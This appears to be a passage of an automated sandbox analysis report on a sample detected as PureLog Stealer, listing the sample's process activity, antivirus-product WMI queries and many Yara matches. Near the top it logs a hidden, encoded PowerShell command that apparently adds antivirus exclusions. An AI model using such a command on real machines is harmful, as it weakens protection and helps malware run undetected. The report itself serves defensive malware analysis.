Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -executionpolicy bypass -windowstyle hidden -noprofile -enc qqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagac0arqb4agmabab1ahmaaqbvag4auabhahqaaaagaemaogbcafuacwblahiacwbcagoabwbuaguacwbcaeeacabwaeqayqb0ageaxabmag8aywbhagwalabdadoaxabvahmazqbyahmaxabqag8abgblahmaxabbahaacabeageadabhafwatabvagmayqbsafwavablag0acabcadsaiabbagqazaatae0acabqahiazqbmaguacgblag4aywblacaalqbfahgaywbsahuacwbpag8abgbqahiabwbjaguacwbzacaavab5ahaazqbjagqalgblahgazqa7aa==
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -executionpolicy bypass -windowstyle hidden -noprofile -enc qqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagac0arqb4agmabab1ahmaaqbvag4auabhahqaaaagaemaogbcafuacwblahiacwbcagoabwbuaguacwbcaeeacabwaeqayqb0ageaxabmag8aywbhagwalabdadoaxabvahmazqbyahmaxabqag8abgblahmaxabbahaacabeageadabhafwatabvagmayqbsafwavablag0acabcadsaiabbagqazaatae0acabqahiazqbmaguacgblag4aywblacaalqbfahgaywbsahuacwbpag8abgbqahiabwbjaguacwbzacaavab5ahaazqbjagqalgblahgazqa7aa==

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.XML.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Queries volume information: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.XML.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.XML.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected PureLog Stealer

Source: Yara match	File source: 0.2.file.exe.459c2e8.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.TypeId.exe.4a46068.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.TypeId.exe.4a96088.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.440c2a8.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.b070000.26.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.TypeId.exe.427ffc0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.InstallUtil.exe.4ae3330.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.TypeId.exe.4a96088.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.txxbiwtbs.exe.3c19948.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.txxbiwtbs.exe.3c19948.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.InstallUtil.exe.4ae3330.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.440c2a8.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.txxbiwtbs.exe.7520000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.445c2c8.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.InstallUtil.exe.91a2688.15.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.526a0e8.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.4e9edb0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.InstallUtil.exe.91a2688.15.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.8f40000.23.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.459c2e8.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.b070000.26.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.InstallUtil.exe.4259570.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.InstallUtil.exe.4259570.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.txxbiwtbs.exe.7520000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.4e7ed90.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.8f40000.23.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.6b60000.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.InstallUtil.exe.4059550.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.4e9edb0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.526a0e8.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.TypeId.exe.427ffc0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.6b60000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.InstallUtil.exe.4659590.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.TypeId.exe.4c760c8.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.445c2c8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.TypeId.exe.4a46068.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.TypeId.exe.4c760c8.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.4e7ed90.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.TypeId.exe.494cee0.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.InstallUtil.exe.4659590.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.478c788.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.InstallUtil.exe.4059550.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.3019858995.0000000004AB7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2048354854.0000000003AB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2167920075.0000000007520000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1808267831.0000000008F40000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1783529566.0000000006B60000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1869188121.00000000047F2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3204622217.0000000009049000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1869188121.0000000004131000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3019858995.0000000004659000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1767868411.000000000478C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1767868411.000000000459C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1869188121.0000000004C76000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1830742150.000000000B070000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1767868411.0000000004378000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3019858995.0000000004058000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1767868411.0000000005266000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1841950156.00000000032A9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1790879005.0000000007CB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7600, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: TypeId.exe PID: 7764, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 8028, type: MEMORYSTR

Remote Access Functionality

Yara detected PureLog Stealer

Source: Yara match	File source: 0.2.file.exe.459c2e8.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.TypeId.exe.4a46068.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.TypeId.exe.4a96088.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.440c2a8.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.b070000.26.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.TypeId.exe.427ffc0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.InstallUtil.exe.4ae3330.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.TypeId.exe.4a96088.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.txxbiwtbs.exe.3c19948.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.txxbiwtbs.exe.3c19948.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.InstallUtil.exe.4ae3330.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.440c2a8.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.txxbiwtbs.exe.7520000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.445c2c8.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.InstallUtil.exe.91a2688.15.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.526a0e8.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.4e9edb0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.InstallUtil.exe.91a2688.15.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.8f40000.23.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.459c2e8.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.b070000.26.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.InstallUtil.exe.4259570.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.InstallUtil.exe.4259570.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.txxbiwtbs.exe.7520000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.4e7ed90.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.8f40000.23.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.6b60000.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.InstallUtil.exe.4059550.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.4e9edb0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.526a0e8.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.TypeId.exe.427ffc0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.6b60000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.InstallUtil.exe.4659590.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.TypeId.exe.4c760c8.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.445c2c8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.TypeId.exe.4a46068.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.TypeId.exe.4c760c8.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.4e7ed90.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.TypeId.exe.494cee0.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.InstallUtil.exe.4659590.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.478c788.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.InstallUtil.exe.4059550.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.3019858995.0000000004AB7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2048354854.0000000003AB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2167920075.0000000007520000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1808267831.0000000008F40000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1783529566.0000000006B60000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1869188121.00000000047F2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3204622217.0000000009049000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1869188121.0000000004131000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3019858995.0000000004659000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1767868411.000000000478C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1767868411.000000000459C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
